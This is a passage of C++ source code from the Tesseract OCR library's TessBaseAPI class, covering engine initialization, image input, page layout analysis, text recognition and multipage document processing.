/** Get value of named variable as a string, if it exists. */
bool TessBaseAPI::GetVariableAsString(const char *name, STRING *val) {
return ParamUtils::GetParamAsString(name, tesseract_->params(), val);
}
/** Print Tesseract parameters to the given file. */
void TessBaseAPI::PrintVariables(FILE *fp) const {
ParamUtils::PrintParams(fp, tesseract_->params());
}
/**
* The datapath must be the name of the data directory (no ending /) or
* some other file in which the data directory resides (for instance argv[0].)
* The language is (usually) an ISO 639-3 string or NULL will default to eng.
* If numeric_mode is true, then only digits and Roman numerals will
* be returned.
* @return: 0 on success and -1 on initialization failure.
*/
int TessBaseAPI::Init(const char* datapath, const char* language,
OcrEngineMode oem, char **configs, int configs_size,
const GenericVector<STRING> *vars_vec,
const GenericVector<STRING> *vars_values,
bool set_only_non_debug_params) {
PERF_COUNT_START("TessBaseAPI::Init")
// Default language is "eng".
if (language == NULL) language = "eng";
// If the datapath, OcrEngineMode or the language have changed - start again.
// Note that the language_ field stores the last requested language that was
// initialized successfully, while tesseract_->lang stores the language
// actually used. They differ only if the requested language was NULL, in
// which case tesseract_->lang is set to the Tesseract default ("eng").
if (tesseract_ != NULL &&
(datapath_ == NULL || language_ == NULL ||
*datapath_ != datapath || last_oem_requested_ != oem ||
(*language_ != language && tesseract_->lang != language))) {
delete tesseract_;
tesseract_ = NULL;
}
// PERF_COUNT_SUB("delete tesseract_")
#ifdef USE_OPENCL
OpenclDevice od;
od.InitEnv();
#endif
PERF_COUNT_SUB("OD::InitEnv()")
bool reset_classifier = true;
if (tesseract_ == NULL) {
reset_classifier = false;
tesseract_ = new Tesseract;
if (tesseract_->init_tesseract(
datapath, output_file_ != NULL ? output_file_->string() : NULL,
language, oem, configs, configs_size, vars_vec, vars_values,
set_only_non_debug_params) != 0) {
return -1;
}
}
PERF_COUNT_SUB("update tesseract_")
// Update datapath and language requested for the last valid initialization.
if (datapath_ == NULL)
datapath_ = new STRING(datapath);
else
*datapath_ = datapath;
if ((strcmp(datapath_->string(), "") == 0) &&
(strcmp(tesseract_->datadir.string(), "") != 0))
*datapath_ = tesseract_->datadir;
if (language_ == NULL)
language_ = new STRING(language);
else
*language_ = language;
last_oem_requested_ = oem;
// PERF_COUNT_SUB("update last_oem_requested_")
// For same language and datapath, just reset the adaptive classifier.
if (reset_classifier) {
tesseract_->ResetAdaptiveClassifier();
PERF_COUNT_SUB("tesseract_->ResetAdaptiveClassifier()")
}
PERF_COUNT_END
return 0;
}
/**
* Returns the languages string used in the last valid initialization.
* If the last initialization specified "deu+hin" then that will be
* returned. If hin loaded eng automatically as well, then that will
* not be included in this list. To find the languages actually
* loaded use GetLoadedLanguagesAsVector.
* The returned string should NOT be deleted.
*/
const char* TessBaseAPI::GetInitLanguagesAsString() const {
return (language_ == NULL || language_->string() == NULL) ?
"" : language_->string();
}
/**
* Returns the loaded languages in the vector of STRINGs.
* Includes all languages loaded by the last Init, including those loaded
* as dependencies of other loaded languages.
*/
void TessBaseAPI::GetLoadedLanguagesAsVector(
GenericVector<STRING>* langs) const {
langs->clear();
if (tesseract_ != NULL) {
langs->push_back(tesseract_->lang);
int num_subs = tesseract_->num_sub_langs();
for (int i = 0; i < num_subs; ++i)
langs->push_back(tesseract_->get_sub_lang(i)->lang);
}
}
/**
* Returns the available languages in the vector of STRINGs.
*/
void TessBaseAPI::GetAvailableLanguagesAsVector(
GenericVector<STRING>* langs) const {
langs->clear();
if (tesseract_ != NULL) {
#ifdef _WIN32
STRING pattern = tesseract_->datadir + "/*." + kTrainedDataSuffix;
char fname[_MAX_FNAME];
WIN32_FIND_DATA data;
BOOL result = TRUE;
HANDLE handle = FindFirstFile(pattern.string(), &data);
if (handle != INVALID_HANDLE_VALUE) {
for (; result; result = FindNextFile(handle, &data)) {
_splitpath(data.cFileName, NULL, NULL, fname, NULL);
langs->push_back(STRING(fname));
}
FindClose(handle);
}
#else // _WIN32
DIR *dir;
struct dirent *dirent;
char *dot;
STRING extension = STRING(".") + kTrainedDataSuffix;
dir = opendir(tesseract_->datadir.string());
if (dir != NULL) {
while ((dirent = readdir(dir))) {
// Skip '.', '..', and hidden files
if (dirent->d_name[0] != '.') {
if (strstr(dirent->d_name, extension.string()) != NULL) {
dot = strrchr(dirent->d_name, '.');
// This ensures that .traineddata is at the end of the file name
if (strncmp(dot, extension.string(),
strlen(extension.string())) == 0) {
*dot = '\0';
langs->push_back(STRING(dirent->d_name));
}
}
}
}
closedir(dir);
}
#endif
}
}
/**
* Init only the lang model component of Tesseract. The only functions
* that work after this init are SetVariable and IsValidWord.
* WARNING: temporary! This function will be removed from here and placed
* in a separate API at some future time.
*/
int TessBaseAPI::InitLangMod(const char* datapath, const char* language) {
if (tesseract_ == NULL)
tesseract_ = new Tesseract;
else
ParamUtils::ResetToDefaults(tesseract_->params());
return tesseract_->init_tesseract_lm(datapath, NULL, language);
}
/**
* Init only for page layout analysis. Use only for calls to SetImage and
* AnalysePage. Calls that attempt recognition will generate an error.
*/
void TessBaseAPI::InitForAnalysePage() {
if (tesseract_ == NULL) {
tesseract_ = new Tesseract;
tesseract_->InitAdaptiveClassifier(false);
}
}
/**
* Read a "config" file containing a set of parameter name, value pairs.
* Searches the standard places: tessdata/configs, tessdata/tessconfigs
* and also accepts a relative or absolute path name.
*/
void TessBaseAPI::ReadConfigFile(const char* filename) {
tesseract_->read_config_file(filename, SET_PARAM_CONSTRAINT_NON_INIT_ONLY);
}
/** Same as above, but only set debug params from the given config file. */
void TessBaseAPI::ReadDebugConfigFile(const char* filename) {
tesseract_->read_config_file(filename, SET_PARAM_CONSTRAINT_DEBUG_ONLY);
}
/**
* Set the current page segmentation mode. Defaults to PSM_AUTO.
* The mode is stored as an IntParam so it can also be modified by
* ReadConfigFile or SetVariable("tessedit_pageseg_mode", mode as string).
*/
void TessBaseAPI::SetPageSegMode(PageSegMode mode) {
if (tesseract_ == NULL)
tesseract_ = new Tesseract;
tesseract_->tessedit_pageseg_mode.set_value(mode);
}
/** Return the current page segmentation mode. */
PageSegMode TessBaseAPI::GetPageSegMode() const {
if (tesseract_ == NULL)
return PSM_SINGLE_BLOCK;
return static_cast<PageSegMode>(
static_cast<int>(tesseract_->tessedit_pageseg_mode));
}
/**
* Recognize a rectangle from an image and return the result as a string.
* May be called many times for a single Init.
* Currently has no error checking.
* Greyscale of 8 and color of 24 or 32 bits per pixel may be given.
* Palette color images will not work properly and must be converted to
* 24 bit.
* Binary images of 1 bit per pixel may also be given but they must be
* byte packed with the MSB of the first byte being the first pixel, and a
* one pixel is WHITE. For binary images set bytes_per_pixel=0.
* The recognized text is returned as a char* which is coded
* as UTF8 and must be freed with the delete [] operator.
*/
char* TessBaseAPI::TesseractRect(const unsigned char* imagedata,
int bytes_per_pixel,
int bytes_per_line,
int left, int top,
int width, int height) {
if (tesseract_ == NULL || width < kMinRectSize || height < kMinRectSize)
return NULL; // Nothing worth doing.
// Since this original api didn't give the exact size of the image,
// we have to invent a reasonable value.
int bits_per_pixel = bytes_per_pixel == 0 ? 1 : bytes_per_pixel * 8;
SetImage(imagedata, bytes_per_line * 8 / bits_per_pixel, height + top,
bytes_per_pixel, bytes_per_line);
SetRectangle(left, top, width, height);
return GetUTF8Text();
}
/**
* Call between pages or documents etc to free up memory and forget
* adaptive data.
*/
void TessBaseAPI::ClearAdaptiveClassifier() {
if (tesseract_ == NULL)
return;
tesseract_->ResetAdaptiveClassifier();
tesseract_->ResetDocumentDictionary();
}
/**
* Provide an image for Tesseract to recognize. Format is as
* TesseractRect above. Does not copy the image buffer, or take
* ownership. The source image may be destroyed after Recognize is called,
* either explicitly or implicitly via one of the Get*Text functions.
* SetImage clears all recognition results, and sets the rectangle to the
* full image, so it may be followed immediately by a GetUTF8Text, and it
* will automatically perform recognition.
*/
void TessBaseAPI::SetImage(const unsigned char* imagedata,
int width, int height,
int bytes_per_pixel, int bytes_per_line) {
if (InternalSetImage())
thresholder_->SetImage(imagedata, width, height,
bytes_per_pixel, bytes_per_line);
}
void TessBaseAPI::SetSourceResolution(int ppi) {
if (thresholder_)
thresholder_->SetSourceYResolution(ppi);
else
tprintf("Please call SetImage before SetSourceResolution.\n");
}
/**
* Provide an image for Tesseract to recognize. As with SetImage above,
* Tesseract doesn't take a copy or ownership or pixDestroy the image, so
* it must persist until after Recognize.
* Pix vs raw, which to use?
* Use Pix where possible. A future version of Tesseract may choose to use Pix
* as its internal representation and discard IMAGE altogether.
* Because of that, an implementation that sources and targets Pix may end up
* with less copies than an implementation that does not.
*/
void TessBaseAPI::SetImage(Pix* pix) {
if (InternalSetImage())
thresholder_->SetImage(pix);
SetInputImage(pix);
}
/**
* Restrict recognition to a sub-rectangle of the image. Call after SetImage.
* Each SetRectangle clears the recogntion results so multiple rectangles
* can be recognized with the same image.
*/
void TessBaseAPI::SetRectangle(int left, int top, int width, int height) {
if (thresholder_ == NULL)
return;
thresholder_->SetRectangle(left, top, width, height);
ClearResults();
}
/**
* ONLY available after SetImage if you have Leptonica installed.
* Get a copy of the internal thresholded image from Tesseract.
*/
Pix* TessBaseAPI::GetThresholdedImage() {
if (tesseract_ == NULL || thresholder_ == NULL)
return NULL;
if (tesseract_->pix_binary() == NULL)
Threshold(tesseract_->mutable_pix_binary());
return pixClone(tesseract_->pix_binary());
}
/**
* Get the result of page layout analysis as a leptonica-style
* Boxa, Pixa pair, in reading order.
* Can be called before or after Recognize.
*/
Boxa* TessBaseAPI::GetRegions(Pixa** pixa) {
return GetComponentImages(RIL_BLOCK, false, pixa, NULL);
}
/**
* Get the textlines as a leptonica-style Boxa, Pixa pair, in reading order.
* Can be called before or after Recognize.
* If blockids is not NULL, the block-id of each line is also returned as an
* array of one element per line. delete [] after use.
* If paraids is not NULL, the paragraph-id of each line within its block is
* also returned as an array of one element per line. delete [] after use.
*/
Boxa* TessBaseAPI::GetTextlines(const bool raw_image, const int raw_padding,
Pixa** pixa, int** blockids, int** paraids) {
return GetComponentImages(RIL_TEXTLINE, true, raw_image, raw_padding,
pixa, blockids, paraids);
}
/**
* Get textlines and strips of image regions as a leptonica-style Boxa, Pixa
* pair, in reading order. Enables downstream handling of non-rectangular
* regions.
* Can be called before or after Recognize.
* If blockids is not NULL, the block-id of each line is also returned as an
* array of one element per line. delete [] after use.
*/
Boxa* TessBaseAPI::GetStrips(Pixa** pixa, int** blockids) {
return GetComponentImages(RIL_TEXTLINE, false, pixa, blockids);
}
/**
* Get the words as a leptonica-style
* Boxa, Pixa pair, in reading order.
* Can be called before or after Recognize.
*/
Boxa* TessBaseAPI::GetWords(Pixa** pixa) {
return GetComponentImages(RIL_WORD, true, pixa, NULL);
}
/**
* Gets the individual connected (text) components (created
* after pages segmentation step, but before recognition)
* as a leptonica-style Boxa, Pixa pair, in reading order.
* Can be called before or after Recognize.
*/
Boxa* TessBaseAPI::GetConnectedComponents(Pixa** pixa) {
return GetComponentImages(RIL_SYMBOL, true, pixa, NULL);
}
/**
* Get the given level kind of components (block, textline, word etc.) as a
* leptonica-style Boxa, Pixa pair, in reading order.
* Can be called before or after Recognize.
* If blockids is not NULL, the block-id of each component is also returned
* as an array of one element per component. delete [] after use.
* If text_only is true, then only text components are returned.
*/
Boxa* TessBaseAPI::GetComponentImages(PageIteratorLevel level,
bool text_only, bool raw_image,
const int raw_padding,
Pixa** pixa, int** blockids,
int** paraids) {
PageIterator* page_it = GetIterator();
if (page_it == NULL)
page_it = AnalyseLayout();
if (page_it == NULL)
return NULL; // Failed.
// Count the components to get a size for the arrays.
int component_count = 0;
int left, top, right, bottom;
TessResultCallback<bool>* get_bbox = NULL;
if (raw_image) {
// Get bounding box in original raw image with padding.
get_bbox = NewPermanentTessCallback(page_it, &PageIterator::BoundingBox,
level, raw_padding,
&left, &top, &right, &bottom);
} else {
// Get bounding box from binarized imaged. Note that this could be
// differently scaled from the original image.
get_bbox = NewPermanentTessCallback(page_it,
&PageIterator::BoundingBoxInternal,
level, &left, &top, &right, &bottom);
}
do {
if (get_bbox->Run() &&
(!text_only || PTIsTextType(page_it->BlockType())))
++component_count;
} while (page_it->Next(level));
Boxa* boxa = boxaCreate(component_count);
if (pixa != NULL)
*pixa = pixaCreate(component_count);
if (blockids != NULL)
*blockids = new int[component_count];
if (paraids != NULL)
*paraids = new int[component_count];
int blockid = 0;
int paraid = 0;
int component_index = 0;
page_it->Begin();
do {
if (get_bbox->Run() &&
(!text_only || PTIsTextType(page_it->BlockType()))) {
Box* lbox = boxCreate(left, top, right - left, bottom - top);
boxaAddBox(boxa, lbox, L_INSERT);
if (pixa != NULL) {
Pix* pix = NULL;
if (raw_image) {
pix = page_it->GetImage(level, raw_padding, input_image_,
&left, &top);
} else {
pix = page_it->GetBinaryImage(level);
}
pixaAddPix(*pixa, pix, L_INSERT);
pixaAddBox(*pixa, lbox, L_CLONE);
}
if (paraids != NULL) {
(*paraids)[component_index] = paraid;
if (page_it->IsAtFinalElement(RIL_PARA, level))
++paraid;
}
if (blockids != NULL) {
(*blockids)[component_index] = blockid;
if (page_it->IsAtFinalElement(RIL_BLOCK, level)) {
++blockid;
paraid = 0;
}
}
++component_index;
}
} while (page_it->Next(level));
delete page_it;
delete get_bbox;
return boxa;
}
int TessBaseAPI::GetThresholdedImageScaleFactor() const {
if (thresholder_ == NULL) {
return 0;
}
return thresholder_->GetScaleFactor();
}
/** Dump the internal binary image to a PGM file. */
void TessBaseAPI::DumpPGM(const char* filename) {
if (tesseract_ == NULL)
return;
FILE *fp = fopen(filename, "wb");
Pix* pix = tesseract_->pix_binary();
int width = pixGetWidth(pix);
int height = pixGetHeight(pix);
l_uint32* data = pixGetData(pix);
fprintf(fp, "P5 %d %d 255\n", width, height);
for (int y = 0; y < height; ++y, data += pixGetWpl(pix)) {
for (int x = 0; x < width; ++x) {
uinT8 b = GET_DATA_BIT(data, x) ? 0 : 255;
fwrite(&b, 1, 1, fp);
}
}
fclose(fp);
}
/**
* Placeholder for call to Cube and test that the input data is correct.
* reskew is the direction of baselines in the skewed image in
* normalized (cos theta, sin theta) form, so (0.866, 0.5) would represent
* a 30 degree anticlockwise skew.
*/
int CubeAPITest(Boxa* boxa_blocks, Pixa* pixa_blocks,
Boxa* boxa_words, Pixa* pixa_words,
const FCOORD& reskew, Pix* page_pix,
PAGE_RES* page_res) {
int block_count = boxaGetCount(boxa_blocks);
ASSERT_HOST(block_count == pixaGetCount(pixa_blocks));
// Write each block to the current directory as junk_write_display.nnn.png.
for (int i = 0; i < block_count; ++i) {
Pix* pix = pixaGetPix(pixa_blocks, i, L_CLONE);
pixDisplayWrite(pix, 1);
}
int word_count = boxaGetCount(boxa_words);
ASSERT_HOST(word_count == pixaGetCount(pixa_words));
int pr_word = 0;
PAGE_RES_IT page_res_it(page_res);
for (page_res_it.restart_page(); page_res_it.word () != NULL;
page_res_it.forward(), ++pr_word) {
WERD_RES *word = page_res_it.word();
WERD_CHOICE* choice = word->best_choice;
// Write the first 100 words to files names wordims/<wordstring>.tif.
if (pr_word < 100) {
STRING filename("wordims/");
if (choice != NULL) {
filename += choice->unichar_string();
} else {
char numbuf[32];
filename += "unclassified";
snprintf(numbuf, 32, "%03d", pr_word);
filename += numbuf;
}
filename += ".tif";
Pix* pix = pixaGetPix(pixa_words, pr_word, L_CLONE);
pixWrite(filename.string(), pix, IFF_TIFF_G4);
}
}
ASSERT_HOST(pr_word == word_count);
return 0;
}
/**
* Runs page layout analysis in the mode set by SetPageSegMode.
* May optionally be called prior to Recognize to get access to just
* the page layout results. Returns an iterator to the results.
* If merge_similar_words is true, words are combined where suitable for use
* with a line recognizer. Use if you want to use AnalyseLayout to find the
* textlines, and then want to process textline fragments with an external
* line recognizer.
* Returns NULL on error or an empty page.
* The returned iterator must be deleted after use.
* WARNING! This class points to data held within the TessBaseAPI class, and
* therefore can only be used while the TessBaseAPI class still exists and
* has not been subjected to a call of Init, SetImage, Recognize, Clear, End
* DetectOS, or anything else that changes the internal PAGE_RES.
*/
PageIterator* TessBaseAPI::AnalyseLayout(bool merge_similar_words) {
if (FindLines() == 0) {
if (block_list_->empty())
return NULL; // The page was empty.
page_res_ = new PAGE_RES(merge_similar_words, block_list_, NULL);
DetectParagraphs(false);
return new PageIterator(
page_res_, tesseract_, thresholder_->GetScaleFactor(),
thresholder_->GetScaledYResolution(),
rect_left_, rect_top_, rect_width_, rect_height_);
}
return NULL;
}
/**
* Recognize the tesseract global image and return the result as Tesseract
* internal structures.
*/
int TessBaseAPI::Recognize(ETEXT_DESC* monitor) {
if (tesseract_ == NULL)
return -1;
if (FindLines() != 0)
return -1;
if (page_res_ != NULL)
delete page_res_;
if (block_list_->empty()) {
page_res_ = new PAGE_RES(false, block_list_,
&tesseract_->prev_word_best_choice_);
return 0; // Empty page.
}
tesseract_->SetBlackAndWhitelist();
recognition_done_ = true;
if (tesseract_->tessedit_resegment_from_line_boxes) {
page_res_ = tesseract_->ApplyBoxes(*input_file_, true, block_list_);
} else if (tesseract_->tessedit_resegment_from_boxes) {
page_res_ = tesseract_->ApplyBoxes(*input_file_, false, block_list_);
} else {
// TODO(rays) LSTM here.
page_res_ = new PAGE_RES(false,
block_list_, &tesseract_->prev_word_best_choice_);
}
if (tesseract_->tessedit_make_boxes_from_boxes) {
tesseract_->CorrectClassifyWords(page_res_);
return 0;
}
if (truth_cb_ != NULL) {
tesseract_->wordrec_run_blamer.set_value(true);
PageIterator *page_it = new PageIterator(
page_res_, tesseract_, thresholder_->GetScaleFactor(),
thresholder_->GetScaledYResolution(),
rect_left_, rect_top_, rect_width_, rect_height_);
truth_cb_->Run(tesseract_->getDict().getUnicharset(),
image_height_, page_it, this->tesseract()->pix_grey());
delete page_it;
}
int result = 0;
if (tesseract_->interactive_display_mode) {
#ifndef GRAPHICS_DISABLED
tesseract_->pgeditor_main(rect_width_, rect_height_, page_res_);
#endif // GRAPHICS_DISABLED
// The page_res is invalid after an interactive session, so cleanup
// in a way that lets us continue to the next page without crashing.
delete page_res_;
page_res_ = NULL;
return -1;
} else if (tesseract_->tessedit_train_from_boxes) {
tesseract_->ApplyBoxTraining(*output_file_, page_res_);
} else if (tesseract_->tessedit_ambigs_training) {
FILE *training_output_file = tesseract_->init_recog_training(*input_file_);
// OCR the page segmented into words by tesseract.
tesseract_->recog_training_segmented(
*input_file_, page_res_, monitor, training_output_file);
fclose(training_output_file);
} else {
// Now run the main recognition.
bool wait_for_text = true;
GetBoolVariable("paragraph_text_based", &wait_for_text);
if (!wait_for_text) DetectParagraphs(false);
if (tesseract_->recog_all_words(page_res_, monitor, NULL, NULL, 0)) {
if (wait_for_text) DetectParagraphs(true);
} else {
result = -1;
}
}
return result;
}
/** Tests the chopper by exhaustively running chop_one_blob. */
int TessBaseAPI::RecognizeForChopTest(ETEXT_DESC* monitor) {
if (tesseract_ == NULL)
return -1;
if (thresholder_ == NULL || thresholder_->IsEmpty()) {
tprintf("Please call SetImage before attempting recognition.");
return -1;
}
if (page_res_ != NULL)
ClearResults();
if (FindLines() != 0)
return -1;
// Additional conditions under which chopper test cannot be run
if (tesseract_->interactive_display_mode) return -1;
recognition_done_ = true;
page_res_ = new PAGE_RES(false, block_list_,
&(tesseract_->prev_word_best_choice_));
PAGE_RES_IT page_res_it(page_res_);
while (page_res_it.word() != NULL) {
WERD_RES *word_res = page_res_it.word();
GenericVector<TBOX> boxes;
tesseract_->MaximallyChopWord(boxes, page_res_it.block()->block,
page_res_it.row()->row, word_res);
page_res_it.forward();
}
return 0;
}
void TessBaseAPI::SetInputImage(Pix *pix) {
if (input_image_)
pixDestroy(&input_image_);
input_image_ = NULL;
if (pix)
input_image_ = pixCopy(NULL, pix);
}
Pix* TessBaseAPI::GetInputImage() {
return input_image_;
}
const char * TessBaseAPI::GetInputName() {
if (input_file_)
return input_file_->c_str();
return NULL;
}
const char * TessBaseAPI::GetDatapath() {
return tesseract_->datadir.c_str();
}
int TessBaseAPI::GetSourceYResolution() {
return thresholder_->GetSourceYResolution();
}
// If flist exists, get data from there. Otherwise get data from buf.
// Seems convoluted, but is the easiest way I know of to meet multiple
// goals. Support streaming from stdin, and also work on platforms
// lacking fmemopen.
bool TessBaseAPI::ProcessPagesFileList(FILE *flist,
STRING *buf,
const char* retry_config,
int timeout_millisec,
TessResultRenderer* renderer,
int tessedit_page_number) {
if (!flist && !buf) return false;
int page = (tessedit_page_number >= 0) ? tessedit_page_number : 0;
char pagename[MAX_PATH];
GenericVector<STRING> lines;
if (!flist) {
buf->split('\n', &lines);
if (lines.empty()) return false;
}
// Skip to the requested page number.
for (int i = 0; i < page; i++) {
if (flist) {
if (fgets(pagename, sizeof(pagename), flist) == NULL) break;
}
}
// Begin producing output
const char* kUnknownTitle = "";
if (renderer && !renderer->BeginDocument(kUnknownTitle)) {
return false;
}
// Loop over all pages - or just the requested one
while (true) {
if (flist) {
if (fgets(pagename, sizeof(pagename), flist) == NULL) break;
} else {
if (page >= lines.size()) break;
snprintf(pagename, sizeof(pagename), "%s", lines[page].c_str());
}
chomp_string(pagename);
Pix *pix = pixRead(pagename);
if (pix == NULL) {
tprintf("Image file %s cannot be read!\n", pagename);
return false;
}
tprintf("Page %d : %s\n", page, pagename);
bool r = ProcessPage(pix, page, pagename, retry_config,
timeout_millisec, renderer);
pixDestroy(&pix);
if (!r) return false;
if (tessedit_page_number >= 0) break;
++page;
}
// Finish producing output
if (renderer && !renderer->EndDocument()) {
return false;
}
return true;
}
bool TessBaseAPI::ProcessPagesMultipageTiff(const l_uint8 *data,
size_t size,
const char* filename,
const char* retry_config,
int timeout_millisec,
TessResultRenderer* renderer,
int tessedit_page_number) {
Pix *pix = NULL;
#ifdef USE_OPENCL
OpenclDevice od;
#endif
int page = (tessedit_page_number >= 0) ? tessedit_page_number : 0;
for (; ; ++page) {
if (tessedit_page_number >= 0)
page = tessedit_page_number;
#ifdef USE_OPENCL
if ( od.selectedDeviceIsOpenCL() ) {
// FIXME(jbreiden) Not implemented.
pix = od.pixReadMemTiffCl(data, size, page);
} else {
#endif
pix = pixReadMemTiff(data, size, page);
#ifdef USE_OPENCL
}
#endif
if (pix == NULL) break;
tprintf("Page %d\n", page + 1);
char page_str[kMaxIntSize];
snprintf(page_str, kMaxIntSize - 1, "%d", page);
SetVariable("applybox_page", page_str);
bool r = ProcessPage(pix, page, filename, retry_config,
timeout_millisec, renderer);
pixDestroy(&pix);
if (!r) return false;
if (tessedit_page_number >= 0) break;
}
return true;
}
// In the ideal scenario, Tesseract will start working on data as soon
// as it can. For example, if you steam a filelist through stdin, we
// should start the OCR process as soon as the first filename is
// available. This is particularly useful when hooking Tesseract up to
// slow hardware such as a book scanning machine.
//
// Unfortunately there are tradeoffs. You can't seek on stdin. That
// makes automatic detection of datatype (TIFF? filelist? PNG?)
// impractical. So we support a command line flag to explicitly
// identify the scenario that really matters: filelists on
// stdin. We'll still do our best if the user likes pipes. That means
// piling up any data coming into stdin into a memory buffer.
bool TessBaseAPI::ProcessPages(const char* filename,
const char* retry_config, int timeout_millisec,
TessResultRenderer* renderer) {
PERF_COUNT_START("ProcessPages")
bool stdInput = !strcmp(filename, "stdin") || !strcmp(filename, "-");
if (stdInput) {
#ifdef WIN32
if (_setmode(_fileno(stdin), _O_BINARY) == -1)
tprintf("ERROR: cin to binary: %s", strerror(errno));
#endif // WIN32
}
if (stream_filelist) {
return ProcessPagesFileList(stdin, NULL, retry_config,
timeout_millisec, renderer,
tesseract_->tessedit_page_number);
}
// At this point we are officially in autodection territory.
// That means we are going to buffer stdin so that it is
// seekable. To keep code simple we will also buffer data
// coming from a file.
std::string buf;
if (stdInput) {
buf.assign((std::istreambuf_iterator<char>(std::cin)),
(std::istreambuf_iterator<char>()));
} else {
std::ifstream ifs(filename, std::ios::binary);
if (ifs) {
buf.assign((std::istreambuf_iterator<char>(ifs)),
(std::istreambuf_iterator<char>()));
} else {
tprintf("ERROR: Can not open input file %s\n", filename);
return false;
}
}
// Here is our autodetection
int format;
const l_uint8 * data = reinterpret_cast<const l_uint8 *>(buf.c_str());
findFileFormatBuffer(data, &format);
// Maybe we have a filelist
if (format == IFF_UNKNOWN) {
STRING s(buf.c_str());
return ProcessPagesFileList(NULL, &s, retry_config,
timeout_millisec, renderer,
tesseract_->tessedit_page_number);
}
// Maybe we have a TIFF which is potentially multipage
bool tiff = (format == IFF_TIFF || format == IFF_TIFF_PACKBITS ||
format == IFF_TIFF_RLE || format == IFF_TIFF_G3 ||
format == IFF_TIFF_G4 || format == IFF_TIFF_LZW ||
format == IFF_TIFF_ZIP);
// Fail early if we can, before producing any output
Pix *pix = NULL;
if (!tiff) {
pix = pixReadMem(data, buf.size());
if (pix == NULL) {
return false;
}
}
// Begin the output
const char* kUnknownTitle = "";
if (renderer && !renderer->BeginDocument(kUnknownTitle)) {
pixDestroy(&pix);
return false;
}
// Produce output
bool r = false;
if (tiff) {
r = ProcessPagesMultipageTiff(data, buf.size(), filename, retry_config,
timeout_millisec, renderer,
tesseract_->tessedit_page_number);
} else {
r = ProcessPage(pix, 0, filename, retry_config,
timeout_millisec, renderer);
pixDestroy(&pix);
}
// End the output
if (!r || (renderer && !renderer->EndDocument())) {
return false;
}
PERF_COUNT_END
return true;
}
bool TessBaseAPI::ProcessPage(Pix* pix, int page_index, const char* filename,
const char* retry_config, int timeout_millisec,
TessResultRenderer* renderer) {
PERF_COUNT_START("ProcessPage")
SetInputName(filename);
SetImage(pix);
bool failed = false;
if (timeout_millisec > 0) {
// Running with a timeout.
ETEXT_DESC monitor;
monitor.cancel = NULL;
monitor.cancel_this = NULL;
monitor.set_deadline_msecs(timeout_millisec);
// Now run the main recognition.
failed = Recognize(&monitor) < 0;
} else if (tesseract_->tessedit_pageseg_mode == PSM_OSD_ONLY ||
tesseract_->tessedit_pageseg_mode == PSM_AUTO_ONLY) {
// Disabled character recognition.
PageIterator* it = AnalyseLayout();
if (it == NULL) {
failed = true;
} else {
delete it;
PERF_COUNT_END
return true;
}
} else {
// Normal layout and character recognition with no timeout.
failed = Recognize(NULL) < 0;
}
if (tesseract_->tessedit_write_images) {
Pix* page_pix = GetThresholdedImage();
pixWrite("tessinput.tif", page_pix, IFF_TIFF_G4);
}
if (failed && retry_config != NULL && retry_config[0] != '\0') {
// Save current config variables before switching modes.
FILE* fp = fopen(kOldVarsFile, "wb");
PrintVariables(fp);
fclose(fp);
// Switch to alternate mode for retry.
ReadConfigFile(retry_config);
SetImage(pix);
Recognize(NULL);
// Restore saved config variables.
ReadConfigFile(kOldVarsFile);
}
if (renderer && !failed) {
failed = !renderer->AddImage(this);
}
PERF_COUNT_END
return !failed;
}
/**
* Get a left-to-right iterator to the results of LayoutAnalysis and/or
* Recognize. The returned iterator must be deleted after use.
*/
LTRResultIterator* TessBaseAPI::GetLTRIterator() {
if (tesseract_ == NULL || page_res_ == NULL)
return NULL;
return new LTRResultIterator(
page_res_, tesseract_,
thresholder_->GetScaleFactor(), thresholder_->GetScaledYResolution(),
rect_left_, rect_top_, rect_width_, rect_height_);
}
/**
* Get a reading-order iterator to the results of LayoutAnalysis and/or
* Recognize. The returned iterator must be deleted after use.
* WARNING! This class points to data held within the TessBaseAPI class, and
* therefore can only be used while the TessBaseAPI class still exists and
* has not been subjected to a call of Init, SetImage, Recognize, Clear, End
* DetectOS, or anything else that changes the internal PAGE_RES.
*/
ResultIterator* TessBaseAPI::GetIterator() {
if (tesseract_ == NULL || page_res_ == NULL)
return NULL;
return ResultIterator::StartOfParagraph(LTRResultIterator(
page_res_, tesseract_,
thresholder_->GetScaleFactor(), thresholder_->GetScaledYResolution(),
rect_left_, rect_top_, rect_width_, rect_height_));
}
/**
* Get a mutable iterator to the results of LayoutAnalysis and/or Recognize.
* The returned iterator must be deleted after use.
* WARNING! This class points to data held within the TessBaseAPI class, and
* therefore can only be used while the TessBaseAPI class still exists and
* has not been subjected to a call of Init, SetImage, Recognize, Clear, End
* DetectOS, or anything else that changes the internal PAGE_RES.
*/
MutableIterator* TessBaseAPI::GetMutableIterator() {
if (tesseract_ == NULL || page_res_ == NULL)
return NULL;
return new MutableIterator(page_res_, tesseract_,
thresholder_->GetScaleFactor(),
thresholder_->GetScaledYResolution(),
rect_left_, rect_top_, rect_width_, rect_height_);
}
/** Make a text string from the internal data structures. */
char* TessBaseAPI::GetUTF8Text() {
if (tesseract_ == NULL ||
(!recognition_done_ && Recognize(NULL) < 0))
return NULL;
STRING text("");
ResultIterator *it = GetIterator();
do {
if (it->Empty(RIL_PARA)) continue;
char *para_text = it->GetUTF8Text(RIL_PARA);
text += para_text;
delete []para_text;
} while (it->Next(RIL_PARA));
char* result = new char[text.length() + 1];
strncpy(result, text.string(), text.length() + 1);
delete it;
return result;
}
/**
* Gets the block orientation at the current iterator position.
*/
static tesseract::Orientation GetBlockTextOrientation(const PageIterator *it) {
tesseract::Orientation orientation;
tesseract::WritingDirection writing_direction;
tesseract::TextlineOrder textline_order;
float deskew_angle;
it->Orientation(&orientation, &writing_direction, &textline_order,
&deskew_angle);
return orientation;
}
/**
* Fits a line to the baseline at the given level, and appends its coefficients
* to the hOCR string.
* NOTE: The hOCR spec is unclear on how to specify baseline coefficients for
* rotated textlines. For this reason, on textlines that are not upright, this
* method currently only inserts a 'textangle' property to indicate the rotation
* direction and does not add any baseline information to the hocr string.
*/
static void AddBaselineCoordsTohOCR(const PageIterator *it,
PageIteratorLevel level,
STRING* hocr_str) {
tesseract::Orientation orientation = GetBlockTextOrientation(it);
if (orientation != ORIENTATION_PAGE_UP) {
hocr_str->add_str_int("; textangle ", 360 - orientation * 90);
return;
}
int left, top, right, bottom;
it->BoundingBox(level, &left, &top, &right, &bottom);
// Try to get the baseline coordinates at this level.
int x1, y1, x2, y2;
if (!it->Baseline(level, &x1, &y1, &x2, &y2))
return;
// Following the description of this field of the hOCR spec, we convert the
